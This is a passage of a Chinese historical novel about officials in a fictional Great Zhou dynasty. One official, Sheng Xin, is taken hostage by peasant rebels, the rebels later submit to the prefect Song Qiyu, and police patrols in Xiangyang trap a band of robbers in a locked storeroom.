。到后半夜,本官在营内动手。你们二将带着军队在营外动手,就以贼寇诈降、图谋再反为名,将他们统统斩杀。这一战,若能歼敌五千以上,本官定向朝廷动本,给你们加官进爵。”两将赶紧打千行礼,遵命行事去了。结果,可想而知,在那一夜,石鼓镇及其周遭的老百姓被屠戮殆尽,田野和道路几乎都被鲜血染红。 经此变故,农民军的力量遭受了重创,杨安、甘老大和钟成的队伍被迫远遁,丹阳的治安很快得以恢复。然而,令白铭肇头疼的是,再也没有大股流寇接受招抚;但凡朝廷军队开赴的地方,农民军立即化整为零,或就地隐藏,或窜入他处;而当官军驻防后,又不时有贼人冒出,袭扰攻击兵力薄弱的区域。在接下来的一个多月里,白铭肇带着几千部队四处剿匪,除了偶有小获外,再也没能取得重大战果,反而损失了数百官军。他就象掉进蚊虫堆里的狮子,站也不是,卧也不是,挠也挠不到,咬也咬不着。 在这种情况下,林九都和一些军官纷纷建议白铭肇对匪寇猖獗的地区采取断然措施,即屠村和屠城。开始的时候,受仁爱和民本思想教化多年的白铭肇还能坚持原则,顶住压力,拒绝众人的提案。但随着战事的延长,朝中弹劾他靡师费饷、庸碌无能的人越来越多,特别是成王殿下班师在即,朝里一片喜迎凯旋的氛围,同泰帝又两次下旨催促他快速剿贼后,白铭肇再也无法坚持,只能默许或同意属官的请求。 第十九回3 烽烟乍起 在大帐内,绳鑫听闻白铭肇的决定,非常愤怒地望着帐中众官。他上前行礼说:“白大人,万万不可如此呀!这些贼寇暴动的原因我们很清楚。他们但凡有一线生机,断不会与朝廷为敌。前番,我去招抚的甘老大一部,其中很多人都已归乡务农,并未再反。”林九都打断了绳鑫的话说:“绳大人此言不实。那甘老大既已投降,为何复叛?分明是贼性不改,野性难驯,对这样的巨寇,怎么能放过呢!”绳鑫转脸怒视着林九都,质问道:“你将石鼓镇五千百姓尽皆斩杀,连七旬老翁和嗷嗷待哺的婴孩都不放过,其中就有甘老大的姐丈一家。他听说此事,怎能不反?你们干出这等天理难容的事情,难道还等着别人引颈就戮不成?”林九都冷笑一声,说道:“绳大人不要乱讲。那卢幺归降是假,偷袭我的大营是真。两千贼兵欲在清晨对我下手,若不是我识破了匪寇的奸计,提前动手,岂有后来的大胜?而你所说的那些被冤杀的百姓,其实都是通匪之家,我这里可是有上百份供状和证词的。”绳鑫用手指着林九都说:“圣人之言,煌煌在耳;恩师之教,谆谆涤心。而你却将之抛诸脑后。那些死无对证的供状如何能做为凭据?”绳鑫又转向白铭肇说:“白大人,丹阳的百姓皆为大周子民,他们创造的财富皆是朝廷所有,我们每多杀一人,朝廷不是就多损失一分吗?请大人再多给我一些时间,让我再去招抚些匪寇回乡吧!”白铭肇觉得脸上有些发烧,他下意识地用衣袖挡住了半个脑袋,缓缓地说:“绳、林二位大人所言都有道理,此事可以再议。你等文人,当庭争吵,有失体面。”白铭肇刚刚起身,意欲散帐。林九都轻声提醒说:“白大人,你还要圣上再次下旨申斥不成?”这句话就似响雷一般在白铭肇的耳边炸开,他身子一震,手握着座椅靠背,吩咐道:“就按前面议定的办吧。全军明日向姚山攻击,扫平匪寇杨安。”绳鑫急得一跺脚,上前几步,几乎是用哭腔说:“白大人,不能呀,那里还有很多百姓呀!”白铭肇叹了口气说:“绳大人,皇命在身,本官也没有办法,姚山已是居民住户最少的方向啦。这次你不必随军,优待条件也由你定,希望你能多招安几个贼寇吧。散帐。” 在官军向北挺进当天,绳鑫也带着五十名城防军向东南出发。他想前往谷城县北部,招降那一带的土匪。绳鑫沿途不断地向老百姓宣讲,只要他们的兄弟子侄能回来,以前所有的行为概不追究。 几天后,绳鑫等人来到了江山村,这里离汉江很近,离布袋沟、洪山也不远。于是,绳鑫就把营盘扎在了村口的江山庙里。他先找来里正了解村子的情况,又让手下贴出招抚告示。接着,他又花了两天时间,亲自造访了村里的七十几户人家,并给每户送去了一两纹银和一些粮食。村民们由最初的惧怕、疏离,慢慢转变为愿意接触这位大人。接下来,绳鑫写了书信,又赏了几个村民一些银子,让他们前往各座山头和江岔,招降土匪。起初的两天,确实有三支十几人的匪寇选择了投诚。绳鑫好言安慰后,给这些人发了路费、开了招抚文书,遣散他们回乡。 第十九回4 烽烟乍起 这一天晚上,天上下着蒙蒙细雨,绳鑫感觉非常疲累,便早早地和衣睡下。可到了第二天清晨,寂静的山村外突然传来几声刺耳的呼哨。紧跟着,几百名土匪呐喊着冲向了江山庙。不多时,小庙就被贼人包围了个水泄不通。一个军兵跌跌撞撞地奔进庙来,破了音地禀报道:“绳大人,山贼!山,山贼来了!山贼来了!我们,被包围了。”绳鑫整了整衣服,边向外走边问:“贼人什么来头?有多少人?”军兵颤抖着声音说:“他们有近千人,不……不知道从,从哪儿来的。”绳鑫来到院子里,就听外面有土匪喊话说:“里面的官军听着。我们知道你们只有几十个人。别耍花招,乖乖地扔了兵器出来,束手就擒。否则,我们冲进去,宰光了你们。”绳鑫壮了壮胆子,走到大门外说道:“我是洛阳同知绳鑫,专司招抚事务。请问各位英雄属于哪个山头?怎样称呼?”为首的土匪上前一步说:“今天看来还真抓了条大鱼。我也不怕告诉你,我就是你们一直要剿灭的钟成。”绳鑫抱拳一拱说:“钟头领,我知道你们起事是出于无奈,赶上了天灾,又被官府逼债,走投无路才出此下策。但如今,皇上已经下旨免了你们的债,又给丹阳提供了赈济。你们原是农民,当还归乡土,重新生活才是。而且,我也请求了巡抚白大人,只要你们愿意回乡,以前所犯罪责统统不予追究。”钟成冷笑了几声,啐了一口,说:“呸,你这狗官少拿鬼话糊弄人。我这队伍里可有十几人是从石鼓镇的死人堆里爬出来的。蠢货卢幺自己找死,还连累了那么多弟兄和乡亲。你们这些当官的,为了邀功,心思比蛇蝎还狠毒。卢幺等人本已投诚,你们为什么还要杀他们?”钟成身边的贼兵也纷纷怒道:“狗官!你们为啥血洗石鼓镇?”“可怜我那娘舅一家,就这么没了!”“钟大哥,甭跟他们废话,冲进去剁了他们。”绳鑫又冲众贼兵一抱拳说:“钟头领,各位英雄,在官军中确实有杀良冒功的恶棍,也存在过度剿杀的现象,但这绝不是朝廷本意,也不是白巡抚和我绳某人所为。我这次带这么少的护卫前来,就不为打仗。是真心想招抚各位英雄呀。”有几个贼头恶狠狠地说:“你他妈少来这套。想让我们放下刀枪,任你们杀,你想得美!”绳鑫向前挪了一小步,又说:“各位英雄,不管怎么说,你们和你们祖上都是大周子民,受了朝廷几十年的恩养。你们难道真的要做一辈子乱臣贼子吗?这今后的日子难道真的就要提心吊胆地过吗?”众贼寇听了这话,沉默了片刻。旋即,有几个大汉跳出来喝道:“大伙别听他胡说。前次,那林九都就是这么给卢头领下的套。几千条人命呀,你们可不能上当呀!”这下,贼人们又躁动起来了。绳鑫身边的几个军兵被逼上来的贼兵吓得步步后退。其中一个军士还拉着绳鑫的衣袖说:“大人,先退进庙里再做抵抗吧。”绳鑫的内心无比痛苦。他知道如果贼兵冲进小庙杀了自己,那么白铭肇和林九都就有了屠城的充分理由。可这话又不能挑明。他甩开军兵的拉扯,仰天长叹说:“求仁得仁又何怨。保一方平安我已经尽力了。”他盯着钟成,说道:“钟头领,我不是那两面三刀的林九都。我要怎么做你们才肯相信我?”钟成喝止住众人,上前一步说:“绳大人,我可以不杀你们,叫你的人都放下兵器,让我们绑了。我拿你们做做挡箭牌,能自保就行。”绳鑫呵呵一笑说:“原来是要抓人质。钟头领,我手下的这些军兵对你意义不大,你抓我一个就好了。这些兵士家有老小,又不曾剿杀农民军,你放了他们,我跟你们走。”钟成哈哈大笑说:“好,就凭绳大人的气概,我放了你的手下。那边的弟兄闪开个口子,让这些官军扔下兵器滚蛋。”原本心胆俱裂的五十个军兵纷纷跪倒,给绳鑫磕头,表示感激。绳鑫又向他们交代了几句,让他们离去。 第十九回5 烽烟乍起 对于这样的结果,贼兵们非常满意,他们叫嚷着,欢闹着。钟成还允许本村的喽罗回家看看,留些财物。他又安排手下人在村子里吃完了早饭,抢夺了江山庙里的财物,才押着绳鑫返回山寨。 绳鑫被捆住手脚,蒙住眼睛,扔在车上。他只觉得自己先走旱路又走水路,也不知过了多久,又转陆路。走着走着,绳鑫突然听到远处有人边跑边喊:“大哥,不好了,前面有大批官军。” 钟成吃了一惊,赶忙问道:“别慌,官军有多少人?”报信的小喽罗回道:“少说有三四百人呢。”钟成大笑着说:“哈哈哈哈,怕什么。这已经到了王家冲地界,咱们有千把人,山上和芦苇洲里还有一千多弟兄。他们不能把咱咋样。你们几个押上姓绳的,跟我去前面看看。”钟成来到最前面,见半里地外确实有一哨官军挡在山道处。他对身边的喽罗吩咐道:“告诉弟兄们,拉开架势,准备打仗。”此时,对面的官军也早看到了他们,而且还确认了钟成的身份。六个身穿便装的人从官军队伍里飞跑过来,高兴地喊道:“大哥,我们回来了。”“钟叔,给你道喜了。”钟成被喊得一脸懵。旋即,他认出这六个人是他派往汉水沿线打劫踩点的表弟张十三和同乡马光、杜应等人。钟成从隐蔽的地方出来,把刀插回刀鞘,大声地问道:“咋是你们,咋回事?” 张十三跑到钟成面前,一把抱住他,脸上露出欣喜的笑容。他大口喘着气,一把拉起钟成就往官军方向走。见钟成挣扎,张十三边走边说:“大哥,你快看看谁来了。你快走啊,她娘俩没死呀。她们被宋大人救了。还有好多乡亲都是宋大人救的呀!”钟成听得一头雾水,没好气地说:“十三,你们中邪了,什么乱七八糟的。”这时,有两个小喽罗高喊道:“大哥,快看,官军压上来了。”钟成抬眼观瞧,果见官军队列在慢慢前移,队伍最前面一位头戴乌纱,身穿官服,跨骑白马的官员正在缓辔慢行。钟成挣脱身子,把手一挥,喝道:“弓箭准备。”他还顺手抄起一支梭镖,转身掷了出去,并叫喊着:“站住,再要靠近,我们就放箭了。”张十三和马光等人急忙摆着手喊:“别放箭,别放箭,都把兵刃放下,放下呀。”张十三再次冲到钟成面前,抬手给了他两个嘴巴,大声吼道:“你儿子,你媳妇都在对面,你想要他们的命呀!宋大人救了那么多人,你咋能打恩公呢!”钟成听闻此言几乎跌倒。他大瞪着眼睛向对面看去,寻找着他的亲人。 这时,骑白马的官员止住队列,又拨转马头,让官军闪开了一条缝隙。一个八九岁的小男孩从人缝中间跑出来,身后又跟出一个妇人。小男孩边跑边喊:“爹,可找到你了,我们还活着。我们回来了。”钟成看见这小孩,张手扔掉手里的刀,嚎啕着迎了过去。他踉跄着,跪爬着终于和母子二人抱到一处。一家人久别重逢,放声大哭。 第十九回6 烽烟乍起 骑白马的官员又示意军兵们让出道路。又有几十名男女百姓从队伍后面走出。他们相互搀扶着走到农民军阵前。一个小伙子先让大伙坐下,又清了清嗓子,高声喊道:“乡亲们,静一静,听我说。我们都是去年被大水冲走的丹阳和谷城百姓,回来寻找失散的亲人啦。我们一个一个地报通名姓、家乡,有认识我们的请过来相见。”接着,小伙子先报出了自己的名字:“我是丹江边上三户坊的申鲤,我是打鱼的,也使船。有认识我的人吗?有本村的乡亲吗?”刚才跑回来的马光大着嗓门对土匪们喊道:“他是西边三户坊的申鲤呀,还经常到咱鱼市上卖鱼的,你们还记得吗?老四还有你们几个使船的都认识他吧。”有几个土匪从队伍里挤出来,上前跟申鲤招呼叙谈。接下来,又有个小伙子站起来喊话说:“我是西关编筐的刘大撇啦,就在油坊后面住的。有本家的亲人还活着吗?”这时,从土匪队伍后面哭着冲出一个中年人。这中年人颤抖着双手,扑上来说:“撇啦呀,我的大侄儿呀!你还活着。全城都被大水冲了,咱家就逃出我一个呀……”二人见面,抱头痛哭。周围的人们也陪着垂泪。一位大嫂红着脸站起来喊道:“我是南门边上卖茶叶的邢王氏,娘家是香花镇的,有我的亲人在吗?”两个土匪听后跳了出来,叫道:“邢家嫂子,我是你的对门邻居,这是我兄弟。你还记得吗,咱那条街都没了……”简短截说,喊话认亲的过程足足进行了一个多时辰,其间因有人悲伤过度,数次中断,甚至引发了混乱。那生离死别的场面,真是惨不可言。 钟成与妻儿哭诉良久,终于止住悲声。他站起身子,向着骑白马的官员紧走几步,双膝跪倒,一边向前跪爬,一边呼喊道:“宋大人,钟成有罪,钟成罪该万死呀!宋恩公救了我的妻儿,就是救了我的命呀!钟成向恩公请罪。只求恩公继续收留他们母子,纵使钟成被砍了脑袋,也心甘情愿。” 宋启愚跳下战马,迎上前来,笑着说:“钟头领请起。水火无情人有情,今日你一家团圆,可喜可贺。本官能救得你的妻儿,说明我们有缘,不必相谢。”钟成不住地磕头说:“宋大人的恩情,钟成就是做牛做马也难以报偿。我身上值钱的东西只有这颗脑袋,请大人把我绑了,献给上官,我愿助恩公加官进爵。”宋启愚伸出双手搀扶钟成,说道:“哎,我怎么能绑钟头领这样的英雄呢!况且,当着妻儿,抓他的亲人,你把我宋宣道看成什么人了。只要你能遣散余众,不再起事,你们便是大周的良民,我又怎么会拿你们邀功请赏呢?”钟成抬眼看着宋启愚,流着泪说:“恩公的命令,钟成一定遵从。只是,钟成有个请求,不知恩公能否答应。”宋启愚拉起钟成,说道:“钟头领请讲,只要我能做到,我愿意帮忙。”钟成抱拳拱手说:“恩公啊,其实我们不想反,是这里的官府和官军逼着我们反啊。我求恩公能允许我和我的这些弟兄迁居襄阳,脱离苦海。只要跟着恩公,到哪儿,我们心里都踏实呀。” 此时,钟成的妻儿和张十三、杜应等人也带着数百农民军来到宋启愚面前,跪下请求迁往襄阳。宋启愚略略思索后,对钟成说:“钟头领,这样吧,你们归附朝廷是肯定的。本官先给你补一个城防军副尉的名号,算你接受招安。至于弟兄们,遣散后,愿意迁居襄阳还是愿意返回家乡,全凭自愿。愿往襄阳的,我着人安排车船送你们去,愿留本地的,我给他们开具招抚文书,你看如何?”钟成没有一丝犹豫,磕头说:“恩公对我天高地厚,钟成全听大人安排。”宋启愚又叫来身后的城防军都尉,吩咐道:“取副尉的衣甲官印来。钟头领已率部投诚,今后,他就在城防军供职。” 正待更换服装时,钟成突然想起了还被押着的绳鑫。他赶忙向宋启愚说明了原委。宋启愚大吃一惊说:“你们险些害了大清官呀。绳大人现在何处?快带我去。”宋启愚跟着钟成,穿过人群,三步两步来到绳鑫跟前,示意钟成解开绳子。宋启愚扶住绳鑫的胳膊说道:“绳大人受苦啦,小弟救你来了。”绳鑫只觉得声音耳熟,却一时想不起是谁。在被摘掉眼罩的一刹那,绳鑫望着宋启愚百感交集,险些垂泪。他喃喃地说:“真是两世为人啊!”随即,绳鑫给宋启愚施了一躬说:“多谢宋大人救命之恩,我还以为再也难见天日了呢。”宋启愚又说道:“大难不死必有后福。绳大人且修养几日,钟头领已经率部归顺了朝廷,本地不会再有兵祸了。”绳鑫点点头说:“宋大人能平此危局,真是社稷之福。”他又略一皱眉,问道:“我听说宋大人外放了襄阳知州,怎么会到丹阳来呢?” 宋启愚讲述前情,才引出了一段曲折的故事。 第二十回1 融洽地方豪族 同泰六年五月中旬,襄阳东堤修建完成。加上之前建成的老龙堤,宋启愚共为襄阳城筑造了十八里石堤。堤坝竣工那天,数万百姓和襄阳各界的头面人物齐聚临汉门外,人们敲锣打鼓,载歌载舞,划旱船,放鞭炮,隆重地庆祝这项工程的终结。做为修堤的决定性人物,宋启愚身穿官服参加了庆典,并主持了竣工仪式。陪同宋启愚坐在观礼台上的官员还有同知万刚、南漳知县袁儒忠、宜城知县郑文明等人。 上午巳时,从西边禹王庙方向传来了声声钟鸣。宋启愚站起身子,走到台前,高声说道:“列位父老,列位乡亲,我们食汉江鱼,饮汉江水,居汉江岸,看汉江美,这汉江滋润着我襄阳的土地,养育了我襄阳一代又一代儿女。我们歌颂汉江,依恋汉江,但是,这条大江有时又狰狞恐怖,它冲垮城池,淹没土地,吞噬牲畜,夺人性命……为了让这汉江不再狂暴,我襄阳官民于同泰五年三月开始修堤,至同泰六年五月肇造完毕……”在宋启愚讲话的过程中,负责治安的申鲤领着几个警巡来回游走。他偶然间转头,突然看到了一张熟悉的脸,可转瞬间,那张脸又消失在人群中。申鲤摇摇头,只当自己眼花。就听台上的宋启愚继续说道:“为了修建这座石堤,有二十二位工匠付出了生命。加上去年为抗击洪水而牺牲的三十七位乡亲,我们失去了五十九位英雄……”申鲤又转头继续巡视,那张熟悉的脸再次出现。申鲤想呼唤,可又怕扰了知州大人训话,只得用眼睛盯住那人。宋启愚最后讲道:“今天,我们的东堤竣工了,这凝聚了千百人鲜血和汗水的石堤终于矗立在汉江之滨,它将世代守护在我们身边,拱卫襄阳城的安全。在此,钦命正五品知州宋启愚特设祭坛,并酹酒三杯以为祭奠。”他走到旁边的供桌前,取酒在手,向着大江跪下,祷告说:“四方的龙王和神仙,我襄阳官民敬畏天道,供奉诸神,今祭酒一杯,求神佛护佑,江水宁波,风调雨顺,国泰民安!”说着,宋启愚将酒洒在案前。台上台下的官民人等也都跪下叩拜了上天。宋启愚又取过第二杯酒,祷告道:“铸造石堤全赖圣上洪恩,百姓支持,军民用命,今祭酒一杯,求我襄阳五谷丰登,六畜兴旺,人丁繁育,福禄永昌!”祭奠完这杯酒,宋启愚又捧起第三杯酒,说道:“我襄阳官民勤劳勇敢,世代善良,为修石堤倾尽所有,今祭酒一杯,求祖宗保佑,生者得享太平,死者早登极乐!”宋启愚把这杯酒也洒在案前。后面的老百姓听着远处传来的一百零八声钟鸣,想起建造石堤时的艰辛和去年抗击洪水时的场面,好多人都流下了感动的泪水。 祭奠完汉江,宋启愚招呼万刚等几名属官走到观礼台旁。那里矗立着一通高大的石碑,只是碑面用红绸子蒙着,看不见上面的字。宋启愚吩咐从人牵过绳头,分给几位大人。随着绳头的拉动,红绸落地,“白铜堤”三个斗大的隶书出现在碑身上。人们欢声雷动,跳跃庆祝,锣鼓声,鞭炮声再次响起,襄阳的百姓为拥有了这样一道生命保障而真心高兴。 第二十回2 融洽地方豪族 竣工仪式结束后,申鲤到处踅摸刚才看到的熟人,可却怎么也找不到。 第二天,申鲤带着警巡小队沿汉江巡视白铜堤西段。行至普陀庵时,已近中午,身后的警巡小伍子笑着对申鲤说:“巡长,饿得前心贴后心,咱们是不是也该找地儿喂饱肚子了。”申鲤看看天,往前一指说:“喏,前面就到檀香酒居了。咱们到那儿让孟老板给热热干粮,讨口米汤喝。”另一个警巡问道:“江边这几家酒楼生意都不错,咱们为啥每次都去檀香酒居呀?”小伍子白了他一眼,说:“三茂,你可真是个呆瓜。宋大人怕咱们巡乡时误了饭点,专门跟一些酒楼和村里的大户约定好的,每个月还给这酒楼三两银子的酬劳呢。你没见咱们每次去,孟老板还给咱们上四个菜吗。”警巡们说话间到了酒楼门口。店伙计热情地把几个人让进了大堂,端上香甜的米酒,陪着笑说:“兄弟几个先解解渴,把干粮给我,马上就得。这要不是宋大人有交代不许诸位饮酒呀,我家大掌柜的还真想敬兄弟们两碗呢。”申鲤等人一边拿出干粮一边乐呵呵地说:“怪不得你家老板发财,就你这张嘴甜。刚到饭点就坐了十几桌客人,生意真是好呀。” 片刻功夫,饭菜上来,几个大小伙子狼吞虎咽地吃了起来。小伍子还说:“我最敬服咱宋大人了,他跟我一块运石头的时候我就赞成他除茶改桑,怎么样,朝廷……”李三茂咽了一口饭,瞪着他说:“你小子,当初在大堂上不是还骂宋大人吗?咋成了你敬服大人了。”这时,正在结账的两个人引起了申鲤的注意。他轻轻捅了捅旁边坐着的小伍子,低声说:“你瞧那俩人。我听他们的口音应该是我们丹阳那边的。咱大人和吴队长不是交代过,要我们注意从丹阳来的人吗。”小伍子腾地一下把碗放在了桌子上。申鲤按住他的胳膊说:“别慌。我先跟上去看看情况。你们赶紧吃,后脚也过去,注意,别跟得太紧。”几个警巡点头应允,申鲤迈步就出了酒楼。 向前走了半里多地,那两个汉子拐进了鱼码头。等申鲤追过去时,那两人已消失不见,只能看到上百条大大小小的渔船靠在码头边上,还有一些渔人悠闲地泡在水里洗澡游泳。申鲤退到路上,与小伍子他们碰头说:“你们几个谁的水性好?”李三茂嘿嘿笑着说:“咱襄阳长大的爷们,有几个不会水的。我在江里到对岸一个来回没问题呀。”申鲤想了想说:“咱们还回檀香酒居,换了衣服再来。我跟三茂下水跟那些渔民搭话。你们几个在岸上装做买鱼,摸清楚有哪几条船是从丹阳来的就行。” 申鲤等人仅用了半个时辰就把情况搞清了。在回城的路上,申鲤说:“那两条带棚子的渔船上少说有十个人,可却不打鱼,只停在那儿,一定有问题。我已经在船上做了标记,也让你们记住了船的样貌。我们先回去向吴大队长报告,看队长怎么说。” 第二十回3 融洽地方豪族 当晚,申鲤和李三茂奉吴襄所差再次凫水接近那两条渔船听取动静。两人用手搭着小船仔细静听。开始的时候,只能听到江水声、远处妓馆隐约传来的丝竹声和几个人的鼾睡声。过了一会儿,有个渔夫起身来到船头,冲着江里撒了泡尿,又回到舱内。就听这渔夫说:“老杜,小郭,我睡不着。你说咱们要是生活在这儿多快活呀!”被叫小郭的渔夫取笑道:“刘四,你是想前面堂子里的女人了吧。”另一个渔夫开口道:“你们消停些,后半夜要干大事,不睡也躺会儿。他们八个估计已经到了孟府。等过了二更,咱们再过去,接应他们。”申鲤心里咯噔一下,他确认这船上的人准是一窝贼寇。这时,又听船上的人说:“这回从孟家不知道能弄出多少好东西?”另一个贼人说道:“少说得有三四千两银子,够咱谷城的弟兄一人分二两了。你看那檀香酒居生意多好,听说他家还出了个什么官。他这宅子又偏僻,正好让咱们干一票。”又一个贼搭腔说:“杜应,咱大哥为啥叫咱们跑到百里外的襄阳做案哪?”被叫杜应的贼人说道:“你小声点。咱大哥是在找退路。这河南的官军逼得紧,那丹江口的甘老大又容不下咱们。钟大哥说咱只能往东往南逃。不弄点本钱,就算当了土匪,咱也得饿死。”他咳嗽了两声,接着说:“你别说,这襄阳还真繁华,前两天那个大堤修成的仪式,真热闹呀!”先前说话的小郭开口道:“不知道十三叔他们现在干啥呢?动手了没有。”刘四嬉笑着说道:“嘻嘻,说不定啊,他们都干完活儿了,现在正搂着孟家的女人睡觉呢!”杜应喝止住他说:“你少放屁。咱虽然穷,但从来不祸害良家女子。真有那个心,等干完这票,我带你们到堂子里去耍。等咱有了钱,再给你们每人说上一门亲,好好过日子……”听到这里,申鲤轻轻捅了一下李三茂,示意他回岸。两兄弟悄悄潜过船头,向江岸游去。 申鲤和李三茂上岸后,越过老龙堤来到一片隐蔽的坡地。吴襄带着五十名警巡正在那里等着他们。申鲤将听到的内容原原本本地讲给了吴长白。吴襄紧锁眉头想了想说:“照这么看,他们是想抢劫孟家老宅。孟掌事的父亲和兄长住在那里。这孟家是襄阳数一数二的豪绅,光田产就有几千亩,还开着酒楼和粮行。这帮贼还真会挑呀。你刚才说他们有八个人已经去了,船上还有五六个人,那咱们……”吴襄又思索了片刻,接着说:“现在还不到戌时,前面的酒楼和妓馆还没有打烊,估计贼人不会这时候动手。咱们兵分两路,申鲤和小伍子,你们赶紧去孟府,让孟老太爷尤其是家里的女眷都躲起来。我们这边先把船上的几个贼抓了,再去孟家抓余下的贼。只要贼人一去,你们就吹哨求援,我们马上冲进去接应你们。” 第二十回4 融洽地方豪族 申鲤和小伍子来到孟府时还不到二更,他们故意吆喝得声音很大,以免贼人现在动手。孟老太爷和孟大少爷听闻此事惊得魂飞魄散。他们立即把一家老小全都迁到小佛堂里,还在屋外上了锁,又吩咐屋里的人插好门闩。申鲤本想留下孟大少爷帮忙擒贼,不成想这家伙是个孬种,两腿抖得根本站不住。申鲤只好说:“大少爷没经过这种场面,难免害怕。你带上一个下人回檀香酒居向吴大队长求援,这里就交给孟老太爷和我们好了。”小伍子把申鲤拽到一边说:“巡长,咱们只有两个人。这里虽然有几个下人,但都打不了仗。咱们得想个巧办法才行。”申鲤说:“有道理。你有啥好主意?”小伍子低声说:“这些贼人为的就是银子,如果咱们能用一笔财宝把他们引进一间房子,再用大锁‘咔吧’这么一锁。你想想,就算咱们只困住他们三四个人,那剩下的也好对付得多。”申鲤眉头一挑,连称妙计。两人又跟孟老太爷商量后,随即决定把二道院西边厢房做为困住贼寇的监牢。申鲤问道:“员外,那房子窗户可不能太大呀,房间也得够高,矮了可困不住人呐。外面院子也得留个人,以免贼人起疑。”孟老太爷捋着花白的胡须说:“二位差官放心吧。那几间房原来当过储粮室,也做过账房,只有大门可供出入,再有就是高处的一个换气孔,保险得很,连锁头都是现成的。至于门上的人吗,外面的傻张就知道开门关门,今天的事根本没有通知他。”申鲤和小伍子大喜。他们又让孟老太爷在房子里放了不少银钱,并在屋里点上灯烛,这才让孟老员外带着下人躲避。 时近三更,月亮爬在了半空中,水银一般的光辉铺洒在孟宅的房脊和山墙上。几丝微风吹过,树木斑驳的月像在这座老宅前轻轻晃动。突然,几条人影从旁边的庄稼地里窜了出来。他们来到孟府院墙外,简单交流后,便派出两人爬上了墙头。在毒死了院内的看家狗后,贼人翻墙进入孟家并打开了大门。门外的几个贼人迅速进了孟府。他们派出一人守住大门,其余几人开始蹑手蹑脚地向院内搜索。 在头道院,贼人们只捉住了一个正在熟睡的看门人。简单询问后,一个盗贼在这人的屁股上狠狠踢了一脚,又动手把这人捆了个结结实实。他们爬上二道院的墙头向内探看。其中一个贼用极低的声音说:“十三哥,你看,就那边亮着灯,其它屋子都没动静。”这个被称为十三哥的人也小声说:“我看见了。老项和老七留在这把风,老马几个跟我过去看看。” 此时,小伍子正大模大样地坐在西厢房里随意扒拉着算盘珠子,就好像账房先生算账一样。而申鲤则躲在院内的黑暗角落,警惕地看着周围的一切。五个贼人刚刚跳进二道院就被申鲤发现了。申鲤抬手扔出一块小石子,正砸在西厢房的大门上,发出“啪嗒”一声。众贼人被吓得就地蹲身,躲在墙边观察动静。屋内的小伍子嘴角上翘,笑嘻嘻地又拨弄了几下算盘,起身抬脚走出了房门。他在门口伸了个懒腰,自言自语道:“今天收的银子真不少呀。先上个茅房,回来接着算。”说着,小伍子一边解着裤带一边向后面走去。 第二十回5 融洽地方豪族 待小伍子转过墙角,贼头冲身边的人一摆手说:“老马,小吕先进去看看。”两个贼人听命,快步来到房外,向内略一观察,闪身进入了西厢房。片刻功夫,一个小贼又窜出房间兴奋地跟贼头嘀咕道:“十三叔,里面全是钱呐!”贼头略一沉吟,低声说:“那家伙待会儿还回来算账。咱们几个都躲进屋里,等他进来,直接抓住他。走!”几个盗贼快速进了房间,藏在房门两侧。 过了一会儿,小伍子哼着小调从茅厕回来,他故意对身后说:“那个老申啊,我咋觉得院子里不安生咧。你先去院里看看。我那屋都是银子,你可不许进啊。”屋里的几个贼人手握铁刀,相视而笑,似乎都很得意。这时,就见申鲤从暗处一个箭步冲了出来。他三步并作两步奔到西厢房外,伸出两只大手,“咔吧”一声就把屋门用锁头锁了。随即,申鲤哈哈大笑说:“你们几个蠢贼,也不看看这是什么地方,竟敢跑到襄阳来作案,真是不知死活。”小伍子也提着短刀跑过来,奚落道:“你们还真听话,这叫‘耗子钻笼’,怎么样,笼子里舒服不?”墙上把风的两个贼见势不妙,赶紧跳进院中搭救同伙。申鲤先掏出小铁哨“嘟嘟嘟”地吹了几下,又拔出短刀准备格斗。 被困的几个贼这下傻了眼。他们先“叽哩哇啦”地号叫了一通,又开始用兵器拼命地砍撬屋门。在这个过程中,吴襄带着几十名警巡举着火把冲进院中。众人没费力气便把外面的三个小贼顺利拿下。小伍子得意地跑到吴襄面前说:“大队长,我们已将五个贼寇困在屋内,没有放跑一个。”吴襄说:“好小子,你俩立功了。我向太守报告,给你们请赏。”小伍子嬉皮笑脸地答道:“有宋大人和吴大队长栽培,赏不赏的无所谓。”吴襄被逗乐了,说道:“就凭你这张嘴,宋大人不赏,我也得重赏你。”他又指着西厢房喝到:“里面的贼人听着,你们已经被包围了,乖乖地投降,不然,现在就得吃苦头。”屋里的贼人早就吹灭了灯烛,隔着房门嚷嚷道:“放你娘的屁。拼个痛快是死,被你们拿住也是死,爷爷们就不投降。有本事你们进来,看老子不剁了你们这帮官府的狗。” 听说贼寇已被控制,躲在柴房里的孟老太爷带着三个下人来到了院中。接着,先前逃出孟家的那位大少爷领着他兄弟孟庆彬等人也赶回了家。孟庆彬拉着吴襄的手,激动地说:“吴大队长,真是太谢谢你们了。要是没有弟兄们,我家里就得被血洗呀!你救了我父亲、兄长一家,叫我如何报偿弟兄们啊!”吴襄呵呵笑着说:“孟大人客气。治安巡逻,保民平安是宋大人交给我们的任务。宋大人得知此事,相当重视,一再叮嘱我要确保孟掌事眷属的安全。”孟庆彬又一次表示了感谢。吴襄又叫过申鲤、小伍子、李三茂等人,给孟庆彬做了引荐。孟家人又是一阵赞叹。 第二十回6 融洽地方豪族 这时,李三茂虎着脸跟吴襄说:“大队长,就这么几个贼兵,咱们冲进去,拿了他们。”吴襄制止道:“别慌。锁头不是已经去掉了吗,他们不肯出来,困兽犹斗,我们要是现在进去,肯定会有伤亡。先耗他们一会儿,反正贼人跑不了。” 快四更的时候,孟府门前一阵人喊马嘶,跟着传来通报声:“宋大人到。”伴着话音,宋启愚一身银灰色便装大步走进了庭院,身后跟着曹可用、宋承康等随从。宋启愚先来到孟老太爷跟前,作了个揖说:“老人家受惊了。家里人是否安好,可有人受伤?”孟老太爷一边说着多谢宋大人关照,一边跪下,准备施大礼。宋启愚急忙扶住他说:“免礼,免礼。是宋某治郡不严,给贵府带来了麻烦,还望老员外不要怪罪。”宋启愚又转向孟庆彬,说道:“现在贼寇插翅难逃,不必都围在这里。令尊年纪大了,熬不得夜。你去服侍老人家就寝吧。再安顿一下家里人,告诉他们没事了,别怕。”孟庆彬的心里升起了一股暖流。回想起自己在暗地里没少给宋大人使坏下绊子,孟庆彬简直有些无地自容。 